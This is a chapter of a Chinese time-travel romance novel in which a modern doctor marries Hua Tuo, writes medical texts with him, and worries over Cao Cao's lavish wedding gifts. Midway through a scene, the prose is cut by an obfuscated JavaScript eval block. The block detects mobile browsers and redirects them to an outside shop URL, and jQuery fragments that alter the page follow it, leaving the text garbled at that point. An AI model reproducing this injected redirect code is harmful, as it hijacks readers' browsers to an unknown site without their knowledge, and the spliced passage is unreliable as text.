建安二年春，华佗和顾湘成了亲。
消息传出去的时候，整个谯县都轰动了。不是因为华佗娶亲——他年过五十未娶，村里人早就议论过——而是因为他娶的是南风先生。
“华先生和南风先生本来就是一对嘛。”刘保长在村口的大槐树下对众人说，“你们想想，两个人天天在一起，一个看病一个抓药，一个手术一个消毒。这要不是夫妻，天底下就没有夫妻了。”
众人纷纷点头。
婚礼没有大操大办。没有花轿，没有凤冠霞帔，没有流水席。就是在济世堂后面的小院子里，摆了两桌酒席，请了吴普、樊阿、阿香、张玄、黄婆婆、刘保长，和几个关系好的村民。
顾湘穿了一身红色的衣裙，是阿香连夜赶制的。针脚不太整齐，但顾湘觉得这是她穿过的最好看的衣服。红布是从镇上扯的，阿香剪裁缝制，忙了三天三夜。裙子有点长，顾湘走路的时候总要提着裙摆，阿香就蹲下来，用针线把裙摆往上缝了一截。
“先生，你真好看。”阿香蹲在地上，仰头看着顾湘，眼睛里全是星星。
顾湘摸了摸她的头：“阿香，等我老了，这件裙子传给你。”
阿香使劲摇头：“先生才不会老。”
顾湘笑了。她想说“人都会老”，但今天不想说这种话。
华佗穿了一身干净的青灰色袍服，头发束得整整齐齐，破天荒地用了一块方巾。吴普帮他梳的头，梳了三次才梳好。
“师父，你今天真精神。”吴普说。
华佗看了他一眼：“平时不精神？”
“平时也精神，但今天特别精神。”吴普嘿嘿笑，“因为今天师娘进门。”
华佗没有回答，但他的耳朵尖微微泛红。
拜天地的时候，顾湘犹豫了一下。她一个现代人，在急诊科里跟死神抢人，从来不信这些。但此刻，站在那个瘦高的男人身边，看着他难得郑重其事的表情，她忽然觉得，拜一拜也没什么不好。
一拜天地。二拜高堂。高堂的位置空着——华佗的父母早就不在了，顾湘的父母在一千八百年后。阿香搬了两把空椅子放在那里，说：“先生，华先生，你们的爹娘虽然在远方，但一定能看到。”
顾湘的眼眶湿了。
三拜——夫妻对拜。顾湘看着华佗的眼睛，那双眼睛里有她从未见过的温柔。不是热烈的、汹涌的，而是一种沉静的、笃定的，像是等了很久终于等到了一样的温柔。
“送入洞房！”吴普喊了一嗓子，笑得像个弥勒佛。
洞房就是华佗原来的寝室。顾湘走进去，发现房间里多了一张梳妆台，上面放着一把木梳和一面铜镜。铜镜磨得很亮，能模糊地照出人影。
“你买的？”顾湘问。
“樊阿做的。”华佗说，“他说，新娘应该有一面镜子。”
顾湘拿起铜镜，看了一眼自己的脸。三十六岁的脸，在一千八百年前的铜镜里，模糊得像一幅水墨画。但她觉得自己很好看——不是因为容貌，而是因为眼睛里有光。
红烛摇曳。窗外蛙声一片。
新婚第一夜，顾湘和华佗聊到了天亮。
不是聊情话——虽然也说了一些——而是聊《青囊传》。
华佗靠在床头，手指在空气中画着虚拟的目录。“我想把这本书分成七卷，”他说，声音比平时轻，像是怕惊动窗外的月光，“第一卷，外科手术总论；第二卷，金创伤科；第三卷，妇儿疾病；第四卷，针灸经络；第五卷，免疫论；第六卷，药物炮制；第七卷，方剂集成。”
顾湘从床上坐起来，找了块布巾把头发扎起来，从床头翻出炭笔和纸——这是她走到哪带到哪的东西。
“外科手术卷，我帮你写无菌术的部分。”她边说边写，炭笔在纸上沙沙地响，“你写手术技法。合在一起，就是一部完整的外科学。”
“无菌术你写。”华佗说，“我写我看不懂。”
“你看得懂，只是不习惯用我的语言。我会把它翻译成你能看懂的话。”
华佗侧过头看着她。晨光从窗户纸的缝隙里透进来，照在顾湘的脸上，她的侧脸轮廓清晰而柔和，专注的表情像是在手术室里面对一个危重病人。她咬着笔杆想了想，又在纸上添了一行字。
“南风。”他说。
“嗯。”
“你认真的时候，很好看。”
顾湘手里的炭笔顿了一下，在纸上留下一个黑点。她没有抬头，但耳朵红了。
“你什么时候学会说这种话了？”她问，语气里带着一点嗔怪，但嘴角是上扬的。
“跟你学的。”
“我从来不这样说。”
“你不用说。你做就是了。”
顾湘假装没听懂，继续写大纲。但她的耳朵红得更彻底了，红得像窗纸上透进来的晨光。
新婚第二天，顾湘照常出诊。
不是她不想休息，而是济世堂门口已经排了十几个病人。阿香看到顾湘穿着新婚的红衣裳走出来，惊讶得张大了嘴：“先生，您今天不休息？”
“病人不休息，我就不休息。”顾湘系上围裙，把袖子挽到肘弯，开始分诊。她的动作比平时还快，像是在用忙碌掩饰什么——也许是羞涩，也许是不习惯。
华佗比她晚出来一刻钟。他站在药房门口，看着顾湘在诊室和药房之间穿梭，麻利地接诊、开方、换药、安抚病人，动作行云流水，没有一丝多余。阳光落在她身上，那件红衣像一团移动的火。
吴普凑过来，低声说：“师父，师娘真厉害。”
华佗看了他一眼：“谁让你叫师娘的？”
新婚第三天，顾湘在后院洗衣服。
东汉没有洗衣机，她蹲在木盆边上，用搓衣板搓华佗的青灰色短褐。搓得手都红了，但她心情很好——因为在现代，她连自己的衣服都送洗衣房，从来没有给任何人洗过衣服。
华佗走过来，蹲在她旁边，伸手去拿盆里的衣服。
“你去写你的书。”顾湘拦住他。
“你手都红了。”
“我的手洗了十几年器械，不差这一件。”
华佗没有走，而是直接从木盆里捞出一件衣服，自顾自地搓了起来。他的手法笨拙，搓衣板被他用得咯吱咯吱响，像是在抗议。
“华佗，你不会洗衣服？”顾湘看着那件被他搓得皱巴巴的短褐。
“没洗过。”
“那你还来帮忙？”
“你手红了。”
又是这三个字。顾湘低下头，假装专心搓衣服，不让他看到自己脸上的表情。两人并肩蹲着，谁也不说话，只有搓衣板发出的“唰唰”声。阳光很好，晒得人暖洋洋的。顾湘忽然想：如果她穿越回去，告诉协和急诊科的同事们“我结婚了，嫁给了一个一千八百年前的华佗”，他们一定以为她疯了。但她没有疯。她只是遇到了一个值得的人。
新婚第四天，济世堂来了一个急症病人。
是个孩子，吃了不干净的东西，上吐下泻，脱水严重。顾湘立刻配制口服补液盐，一勺一勺地喂。华佗在旁边针刺足三里、天枢止泻。两人配合默契，不需要说话，一个眼神就知道对方要什么。
“银针。”华佗伸手。
顾湘已经把银针递到他手边。
“补液盐再喂一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641850|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
勺。”
顾湘已经在喂了。
孩子救过来之后，孩子的母亲跪在地上磕头。顾湘拉她起来，说了一句“不许跪”，然后转身去写病案。华佗看着她，嘴角微微弯了一下——那是他从顾湘身上学到的，遇到感谢时不说“不用谢”，而是用行动让对方知道“这是应该做的”。
新婚第五天，顾湘收到了一封信。
信是从许昌送来的，落款是荀彧。荀彧的字写得极好，一笔一划都像是刻出来的。信的内容很客气：曹公听闻华先生新婚，特备薄礼一份，聊表祝贺。随信附上的礼单有一长串——绢帛五十匹、粮食一百石、铜钱十万、药材若干。
顾湘看完礼单，表情复杂。她把信纸翻过来，又看了一遍，确认自己没有看错数字。十万钱——在这个时代，够一个普通家庭花好几年。
“收不收？”她问华佗。
“收。”华佗正在碾药，头也不抬，“不收，他会觉得我们不给他面子。”
“收了，就欠他人情。”
“已经欠了。”华佗停下手中的动作，抬起头看着她，“从我们给曹昂做手术那天起，就欠了。”
顾湘把礼单折好，塞进袖子里。她知道华佗说得对，但她不喜欢这种感觉——像是一条绳子，正在慢慢套在他们脖子上。她走到窗前，看着院子里那棵槐树，沉默了很久。
新婚第六天，顾湘在灯下写《南风医话》。
华佗坐在她旁边，整理《青囊传》的草稿。两人各写各的，偶尔交流几句。
“南风，你写的‘细胞’，能不能画出来？”
“画不出来。太小了。要用显微镜才能看到。”
“显微镜……”
“等我画好了图纸，你可以试着做。虽然现在的琉璃不达标，但也许以后的人能做到。”
华佗点了点头，继续写。
油灯的火苗跳了一下，把两个人的影子投在墙上，一大一小，靠得很近。
新婚第七天，荀彧的礼物送到了。
十辆牛车，浩浩荡荡地开进村子。村民们围在路边看热闹，议论纷纷。“曹公送的！”“华先生的面子真大！”“南风先生真是嫁对人了。”
顾湘站在济世堂门口，看着那些礼物一箱一箱地搬进来。绢帛、粮食、铜钱、药材，堆满了半个院子。她脸上没有笑容。
阿香跑过来，兴奋地拉着她的袖子：“先生，这么多东西！我们以后不用愁了！”
“阿香，”顾湘的声音很轻，“这些东西，不是白给的。”
阿香愣住了。
那天晚上，顾湘和华佗坐在院子里。月光很好，槐树的影子落在地上，像一幅水墨画。远处的蛙鸣一阵一阵的，像是在替他们说那些说不出口的话。
“华佗。”
“嗯。”
“曹操送这么多东西，不是祝贺我们新婚。是提醒我们——他还在。”
华佗没有回答。他伸出手，握住了顾湘的手。他的手很大，很干燥，很温暖。掌心里有薄薄的茧，那是几十年握针留下的痕迹。
“南风。”他说。
“嗯。”
“不管他来不来，我们的事，我们自己说了算。”
“你说什么？”
“看病、写书、种药、教学生。这些事，我们自己说了算。曹操给的东西，我们用；曹操给的人情，我们记；但济世堂的路，我们自己走。”
顾湘靠在他肩上，闭上了眼睛。
“华佗，你今天说的话，像一句誓言。”
“不是誓言。是实话。”
红烛早已燃尽，但新的光，正在亮起来。